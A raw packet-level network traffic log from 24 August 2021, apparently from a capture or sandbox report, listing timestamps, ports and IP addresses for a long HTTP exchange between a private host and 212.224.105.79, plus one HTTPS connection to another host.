Aug 24, 2021 14:01:40.364732981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364757061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.364763975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364788055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364811897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364835024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364862919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364867926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.364891052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364902020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.364963055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387278080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387305021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387326956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387350082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387367010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387382984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387399912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387414932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387423038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387440920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387459040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387464046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387482882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387490034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387502909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387514114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387523890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387546062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387552977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387567043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387583971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387593031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387603998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387622118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387633085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387641907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387662888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.387662888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.387720108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.400836945 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:40.409800053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409823895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409841061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409857035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409876108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409893990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.409898043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409914970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409928083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.409934998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409954071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409960985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.409971952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409991026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.409993887 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410011053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410017967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410033941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410052061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410058975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410070896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410092115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410104990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410111904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410130978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410137892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410150051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410166025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410186052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410197973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410207033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410227060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410239935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410247087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410264969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410270929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410281897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410300016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410306931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410319090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410336018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410343885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410362959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410372019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410382032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410398006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410408974 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410418034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410434961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410438061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410454035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410469055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410489082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410495996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410506964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410522938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410533905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410542011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.410567045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.410597086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.417642117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433056116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433079004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433092117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433104992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433121920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433140993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433157921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433176041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433185101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433195114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433217049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433243990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433255911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433273077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433289051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433310032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433314085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433329105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433343887 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433351040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433372021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433372974 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433389902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433402061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433410883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433427095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433442116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433458090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433474064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433482885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433495998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433514118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433528900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433543921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433551073 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433562994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433584929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433585882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433604956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433618069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433624983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433640957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433654070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433660984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433677912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433696985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433697939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433717012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433722973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433737993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433754921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433772087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433775902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433789968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433805943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433819056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433825970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433842897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433851957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433862925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433873892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433885098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433902979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433913946 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433922052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433938980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433952093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433959007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433978081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.433984041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.433995962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434011936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434031010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434041023 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434051037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434068918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434078932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434087992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434107065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434108019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434124947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434138060 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434144974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434160948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434178114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434184074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434201002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434218884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434221029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434238911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434248924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434257984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434276104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434283018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434293985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434309959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434328079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434340000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434350014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434365034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434382915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434385061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434401989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434411049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434421062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434437037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434449911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434457064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.434475899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.434501886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.437297106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.437549114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.439980030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.440005064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.440027952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.440056086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.440078020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.440231085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456362009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456392050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456407070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456420898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456434011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456459045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456479073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456500053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456521034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456542015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456562996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456566095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456584930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456600904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456617117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456640959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456640959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456682920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456703901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456705093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456722975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456738949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456759930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456778049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456798077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456805944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456818104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456831932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456839085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456856966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456866980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456876993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456892014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456899881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456918001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456937075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456937075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.456954956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456970930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456990957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.456994057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457009077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457022905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457031012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457055092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457056046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457079887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457096100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457112074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457118034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457134962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457143068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457154036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457170010 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457175016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457196951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457216024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457218885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457238913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457257032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457267046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457276106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457294941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457297087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457315922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457319975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457336903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457355976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457362890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457374096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457395077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457403898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457416058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457432032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457448006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457461119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457468987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457485914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457504034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457508087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457523108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457535028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457545042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457564116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457571983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457582951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457597971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457603931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457621098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457642078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457645893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457663059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457681894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457684040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457701921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457711935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457722902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457740068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457760096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457770109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457781076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457797050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457812071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457818031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457838058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457838058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457854986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457870960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457875967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457892895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457912922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457916021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457935095 CEST	80	49723	212.224.105.79	192.168.2.3
